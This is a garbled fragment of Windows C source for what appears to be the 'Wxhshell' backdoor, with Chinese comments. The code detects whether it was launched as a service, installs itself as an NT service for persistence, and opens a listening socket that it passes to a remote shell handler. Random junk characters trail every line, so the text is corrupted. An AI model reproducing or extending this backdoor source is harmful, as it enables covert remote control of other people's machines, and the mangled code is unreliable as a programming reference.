ULONG UniqueProcessId; uPr!;'J=
ULONG InheritedFromUniqueProcessId; G `!A#As
} PROCESS_BASIC_INFORMATION; b6Z3(!]
]
|#<z\u }
PROCNTQSIP NtQueryInformationProcess; ` V [4
C,$o+q*)W9
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w%iwxo
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `sso Wn4
W}3%BWn
HANDLE hProcess; %D:VcY9OC
PROCESS_BASIC_INFORMATION pbi; S$$SLy:P
#Ktk[ "6
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L97 ~ma
if(NULL == hInst ) return 0; T`Up%5Dk
BN%cX2j
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %*npLDi
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z}\,rex
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6S_mfWsi
3c,4 wyn
if (!NtQueryInformationProcess) return 0; Q3&DA1b`
#Y=b7|l
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z~~pH9=c2
if(!hProcess) return 0; E0fMFG^P
~|O; Sdo=
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )`'a1y|
8 M,@Mbn
CloseHandle(hProcess); bfZt <-
~]d 9 J
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JA9NTu(
if(hProcess==NULL) return 0; .[1 f$
D&uaA-;s
HMODULE hMod; &S66M2
char procName[255]; aQ\SV0PI
unsigned long cbNeeded; \#) YS
ji\LC%U-
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :A @f[Y'9
)[ZXPD
CloseHandle(hProcess); T$R#d&t
`L7^f!
if(strstr(procName,"services")) return 1; // 以服务启动 #V]8FW
_b-g^#L%
return 0; // 注册表启动 Qb>("j~Z
} c_+fA
6fI2y4yEz
// 主模块 L?j<KW
int StartWxhshell(LPSTR lpCmdLine) <\Y(+?+uZ
{ 7#G!es
SOCKET wsl; Et(H6O8
BOOL val=TRUE; j
nSZ@u
int port=0; H'/V<%
struct sockaddr_in door; /j$pV
Al8Dw)uG{
if(wscfg.ws_autoins) Install(); $ ~%Y}Xt*
F
{L#
port=atoi(lpCmdLine); ocK4Nxs
hFr+K1
if(port<=0) port=wscfg.ws_port; #rGCv~0*l
@%L
WSADATA data; xZ`vcS(
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bCC &5b
*WJK&
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; p"~@q} 3
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Vq`/]&
door.sin_family = AF_INET; p=> +3
door.sin_addr.s_addr = inet_addr("127.0.0.1"); cl&?'`
)
door.sin_port = htons(port); ~uZ9%UB_m
G;u~H<
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MmvOyKNZF
closesocket(wsl); $^^M&[b-
return 1; B]<N7NYn1
} =FIZh}JD
HDzeotD
if(listen(wsl,2) == INVALID_SOCKET) { @}!?}QU
closesocket(wsl); {v=[~H>bt
return 1; uaKbqX
} V(0Y
Wxhshell(wsl); `RE>gX
WSACleanup(); bf2n%-&9g
n7Eh!<
return 0; BxlhCu
PHIc7*_
} "a'I^B/
N: 38N
// 以NT服务方式启动 o~9*J)X5i
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i>CR{q
{ >!" Sr3,L
DWORD status = 0; Nv;'Ys P
DWORD specificError = 0xfffffff; W1xPK*
J>#yA0QD2
serviceStatus.dwServiceType = SERVICE_WIN32; K3tW Y
4-
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Oe@w$?
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PX&}g-M9
serviceStatus.dwWin32ExitCode = 0; t5K#nRd Z:
serviceStatus.dwServiceSpecificExitCode = 0; _:tS-Mx@5
serviceStatus.dwCheckPoint = 0; |4j6}g\
serviceStatus.dwWaitHint = 0; Z+);}>-5
dQ-g\]d|
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'sa)_?Hy
if (hServiceStatusHandle==0) return; #Y-_kQV*
*)^ZUk
status = GetLastError(); d$+0;D4E
if (status!=NO_ERROR) dJ])`S
{ :PY8)39@K
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9 4lt?|3=
serviceStatus.dwCheckPoint = 0; (yd(ZY
serviceStatus.dwWaitHint = 0; @zi0:3`#0\
serviceStatus.dwWin32ExitCode = status; pG)dF@
serviceStatus.dwServiceSpecificExitCode = specificError; l,b,U/3R.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,H/O"%OJ
return; rOEBL|P0
} T8&sPt,f
Xg_l4!T_l
serviceStatus.dwCurrentState = SERVICE_RUNNING; *,O3@,+>H
serviceStatus.dwCheckPoint = 0; 1)ij*L8k
serviceStatus.dwWaitHint = 0; tlvZy+Blv
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E2cZk6~m{
} ZK'WKC
4s_5>r4
// 处理NT服务事件,比如:启动、停止 [`tNa Vg
VOID WINAPI NTServiceHandler(DWORD fdwControl) CA&VnO{r
{ $/#[,1
switch(fdwControl) ;ud"1wH
{ zlQBBm;fE
case SERVICE_CONTROL_STOP: "o u{bKe
serviceStatus.dwWin32ExitCode = 0; i-4L{T\K
serviceStatus.dwCurrentState = SERVICE_STOPPED; -OD&x%L*{3
serviceStatus.dwCheckPoint = 0; Y*#TfWv:
serviceStatus.dwWaitHint = 0; ls9Y?
{ :ntAU2)H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jHatUez4O
} b{-|q6
return; \21Gg%W5AE
case SERVICE_CONTROL_PAUSE: LqJV
serviceStatus.dwCurrentState = SERVICE_PAUSED; NhF"%
break; f61vE
case SERVICE_CONTROL_CONTINUE: =c&.I}^1L
serviceStatus.dwCurrentState = SERVICE_RUNNING; FdEUZ[IT`{
break; %Q]thv:
case SERVICE_CONTROL_INTERROGATE: ,g"JgX
break; DXO'MZon3
}; \fI05GZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *L*{FnsV
} })(robBkA
wCv9VvF`
// 标准应用程序主函数 u:W/6QS
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 152s<lu1Z
{ lm&^`Bn)
4u41M,nJQd
// 获取操作系统版本 I|;zGmg#k
OsIsNt=GetOsVer(); F,pKt.x
GetModuleFileName(NULL,ExeFile,MAX_PATH); &><b/,]
upeioC q
// 从命令行安装 .s41Tc5u
if(strpbrk(lpCmdLine,"iI")) Install(); 1LvR,V<